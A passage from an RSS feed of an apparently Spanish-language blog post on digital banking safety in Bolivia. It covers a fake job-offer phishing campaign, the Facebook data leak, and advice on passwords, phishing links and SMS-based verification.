 &lt;blockquote class="ltag__twitter-tweet"&gt;
      &lt;div class="ltag__twitter-tweet__media"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--s4L2CFT8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/media/E2aZ802XMAIzIEw.jpg" alt="unknown tweet media content"&gt;
      &lt;/div&gt;

  &lt;div class="ltag__twitter-tweet__main"&gt;
    &lt;div class="ltag__twitter-tweet__header"&gt;
      &lt;img class="ltag__twitter-tweet__profile-image" src="https://res.cloudinary.com/practicaldev/image/fetch/s--fBSA7q1z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/profile_images/1424746380963221508/VjCnQ2j5_normal.jpg" alt="Bolivia V. profile image"&gt;
      &lt;div class="ltag__twitter-tweet__full-name"&gt;
        Bolivia V.
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__username"&gt;
        @boliviaverif1ca
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__twitter-logo"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ir1kO05j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-f95605061196010f91e64806688390eb1a4dbc9e913682e043eb8b1e06ca484f.svg" alt="twitter logo"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__body"&gt;
      No hay vacantes laborales para junio en la empresa Coca Cola &lt;a href="https://twitter.com/Embol_Bolivia"&gt;@Embol_Bolivia&lt;/a&gt;, esta convocatoria es falsa.&lt;br&gt;&lt;br&gt;Un experto advierte que se trata de un caso de phishing y aconseja qué hacer en caso de haber instalado  la extensión que solicita la página.&lt;br&gt;Lee más: &lt;a href="https://t.co/EF5spCSV5z"&gt;bit.ly/3ftap56&lt;/a&gt; 
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__date"&gt;
      19:00 PM - 27 May 2021
    &lt;/div&gt;


    &lt;div class="ltag__twitter-tweet__actions"&gt;
      &lt;a href="https://twitter.com/intent/tweet?in_reply_to=1397990990900654082" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fFnoeFxk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-reply-action-238fe0a37991706a6880ed13941c3efd6b371e4aefe288fe8e0db85250708bc4.svg" alt="Twitter reply action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/retweet?tweet_id=1397990990900654082" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k6dcrOn8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-retweet-action-632c83532a4e7de573c5c08dbb090ee18b348b13e2793175fea914827bc42046.svg" alt="Twitter retweet action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/like?tweet_id=1397990990900654082" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SRQc9lOp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-like-action-1ea89f4b87c7d37465b0eb78d51fcb7fe6c03a089805d7ea014ba71365be5171.svg" alt="Twitter like action"&gt;
      &lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;Y si lo anterior no fuera poco, &lt;a href="https://eju.tv/2021/04/filtraron-los-numeros-de-telefono-y-datos-personales-de-533-millones-de-usuarios-de-facebook/"&gt;Facebook filtro los datos personales de 533 millones de usuarios&lt;/a&gt;. Estos datos están disponibles en el mercado negro para que los atacantes puedan comprarlos. Si usted desea saber si sus datos son públicos puede ingresar su numero de celular (con el prefijo +591) en el siguiente sitio: &lt;a href="https://haveibeenpwned.com"&gt;https://haveibeenpwned.com&lt;/a&gt; (no ingrese otro dato, no confié en otros sitios), por ejemplo en mi caso, toda mi información fue filtrada por Facebook: &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pMgVzQqi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qppyttu7woks9pwh5uvr.png" alt="Datos filtrados por Facebook"&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ¿Es seguro realizar operaciones por banca digital en Bolivia?
&lt;/h2&gt;

&lt;p&gt;Si, pero debemos ser cuidadosos con nuestra información. Las Entidades Financieras poseen la tecnología y los controles para brindar las condiciones adecuadas de seguridad, pero si nosotros no somos cuidadosos con nuestra información podemos ser víctimas de delincuentes, a continuación algunas recomendaciones.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Nunca ingrese su usuario y contraseña en ningún sitio, a menos que usted haya abierto el navegador y colocado el sitio web de su banco.&lt;/li&gt;
&lt;li&gt;Nunca ingrese sus datos personales en enlaces enviados por correo electrónico, SMS, WhatsApp, redes sociales u otros.&lt;/li&gt;
&lt;li&gt;No utilice la misma contraseña en sus cuentas digitales, porque si se filtran sus credenciales de un sitio queda expuesto en los demás.&lt;/li&gt;
&lt;li&gt;Cambie periódicamente su contraseña de acceso a las cuentas digitales sensibles.&lt;/li&gt;
&lt;li&gt;Solicite a su Entidad Financiera que le habiliten un método alternativo al SMS para confirmar operaciones, por ejemplo los clientes del Banco Unión pueden habilitar Unitoken.&lt;/li&gt;
&lt;li&gt;Si es usuario de Tigo solicite que no puedan recuperar su chip desde Tigomatic.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>seguridad</category>
      <category>phishing</category>
    </item>
  </channel>
</rss>
